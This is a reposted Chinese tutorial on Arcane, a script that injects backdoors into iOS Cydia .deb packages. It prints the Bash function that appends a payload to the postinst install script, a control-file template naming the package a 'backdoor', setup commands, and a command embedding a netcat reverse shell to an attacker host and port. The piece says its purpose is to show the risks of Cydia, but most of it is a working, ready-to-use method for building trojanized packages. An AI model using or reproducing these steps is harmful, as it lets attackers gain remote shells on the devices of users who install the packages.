這篇文章主要講解了“如何使用Arcane工具”,文中的講解內(nèi)容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“如何使用Arcane工具”吧!

成都創(chuàng)新互聯(lián)公司專注于網(wǎng)站建設|網(wǎng)頁維護|優(yōu)化|托管以及網(wǎng)絡推廣,積累了大量的網(wǎng)站設計與制作經(jīng)驗,為許多企業(yè)提供了網(wǎng)站定制設計服務,案例作品覆蓋成都生料攪拌車等行業(yè)。能根據(jù)企業(yè)所處的行業(yè)與銷售的產(chǎn)品,結(jié)合品牌形象的塑造,量身建設品質(zhì)網(wǎng)站。
Arcane是一個針對iOS包(iphone-arm)的安全工具,本質(zhì)上來說Arcane是一個簡單小巧的腳本,可以幫助廣大研究人員針對APT存儲庫創(chuàng)建必要的資源。該工具的主要目的是為了讓大家明白為什么使用Cydia是一種非常危險的行為,因為網(wǎng)絡犯罪分子能夠通過iOS包來對存在安全風險的iOS設備執(zhí)行后滲透攻擊。
為了幫助大家了解Arcane工作機制背后的工作機制,我們首先解壓一個由Arcane創(chuàng)建的iOS包:
dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp
這里,需要注意DEBIAN目錄下的control文件和postinst文件,這兩個文件都非常重要:
tree /tmp/whois-decomp/ /tmp/whois-decomp/ ├── DEBIAN │ ├── control │ └── postinst └── usr └── bin └── whois
在Arcane的幫助下,我們可以直接在安裝或移除應用程序的過程中,將惡意腳本輕松嵌入到一個iOS包中。這里支持的包維護腳本支持preinst、postinst、prerm和postrm文件。Arcane可以利用postinst文件來在iOS包的安裝過程中執(zhí)行任意命令。
下面給出的是“post-installation”文件的樣例。這個文件可以在安裝應用程序包之后,在目標設備中執(zhí)行命令。攻擊者可以利用該文件來管理或維護安裝過程中的各種操作,而Arcane可以利用這種功能來向iOS包中注入惡意Bash命令。
postinst="$tmp/DEBIAN/postinst";
# A function to handle the type of command execution embedded into the
# postinst file.
function inject_backdoor ()
{
# If --file is used, `cat` the command(s) into the postinst file.
if [[ "$infile" ]]; then
cat "$infile" >> "$postinst";
embed="[$infile]";
else
# If no --file, utilize the simple Bash payload, previously
# defined.
echo -e "$payload" >> "$postinst";
embed="generic shell command";
fi;
status "embedded $embed into postinst" "error embedding backdoor";
chmod 0755 "$postinst"
};在iOS包安裝過程中,包管理工具將會使用control文件中包含的值。Arcane將能夠修改已有的control文件或創(chuàng)建一個新的control文件。下面給出的是control文件樣本,大多數(shù)iOS包都會包含一個control文件。在這里,Arcane將會使用下面給出的這個control文件樣本,其中的“$hacker”變量用于實現(xiàn)任意數(shù)據(jù)占位。
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html controlTemp="Package: com.$hacker.backdoor Name: $hacker backdoor Version: 1337 Section: app Architecture: iphoneos-arm Description: A backdoored iOS package Author: $hacker <https://$hacker.github.io/> Maintainer: $hacker <https://$hacker.github.io/>"; ... # An `if` statement to check for the control file. if [[ ! -f "$tmp/DEBIAN/control" ]]; then # If no control is detected, create it using the template. echo "$controlTemp" > "$tmp/DEBIAN/control"; status "created control file" "error with control template"; else # If a control file exists, Arcane will simply rename the package # as it appears in the list of available Cydia applications. This # makes the package easier to location in Cydia. msg "detected control file" succ; sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control"; status "modified control file" "error with control"; fi;
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/tokyoneon/Arcane.git
我們建議廣大用戶在Kaili v2020.3版本的操作系統(tǒng)中使用Arcane。工具配置和使用命令如下:
sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencies sudo git clone https://github.com/tokyoneon/arcane /opt/arcane sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane chmod +x arcane.sh;./arcane.sh --help
接下來,我們可以使用下列命令來將惡意控制指令嵌入到一個給定的iOS包中:
./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attacker> --lport <4444> --cydia --netcat
如需獲取更加詳細的使用指引,可以參考這篇【手冊】。
Arcane的代碼庫中提供了下列iOS包以供廣大研究人員進行測試:
ls -la samples/ -rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb -rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb -rw-r--r-- 1 root root 76688 Aug 29 2018 sed_4.5-1_iphoneos-arm.deb -rw-r--r-- 1 root root 60866 Jul 8 21:03 top_39-2_iphoneos-arm.deb -rw-r--r-- 1 root root 13810 Aug 29 2018 whois_5.3.2-1_iphoneos-arm.deb
md5sum samples/*.deb 3f1712964701580b3f018305a55e217c samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb 795ccf9c6d53dd60d2f74f7a601f474f samples/network-cmds_543-1_iphoneos-arm.deb a020882dac121afa4b03c63304d729b0 samples/sed_4.5-1_iphoneos-arm.deb 38db275007a331e7ff8899ea22261dc7 samples/top_39-2_iphoneos-arm.deb b40ee800b72bbac323568b36ad67bb16 samples/whois_5.3.2-1_iphoneos-arm.deb
感謝各位的閱讀,以上就是“如何使用Arcane工具”的內(nèi)容了,經(jīng)過本文的學習后,相信大家對如何使用Arcane工具這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關知識點的文章,歡迎關注!
本文題目:如何使用Arcane工具
文章路徑:http://www.chinadenli.net/article38/gpdgpp.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供定制網(wǎng)站、微信公眾號、Google、網(wǎng)站營銷、網(wǎng)站設計公司、營銷型網(wǎng)站建設
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)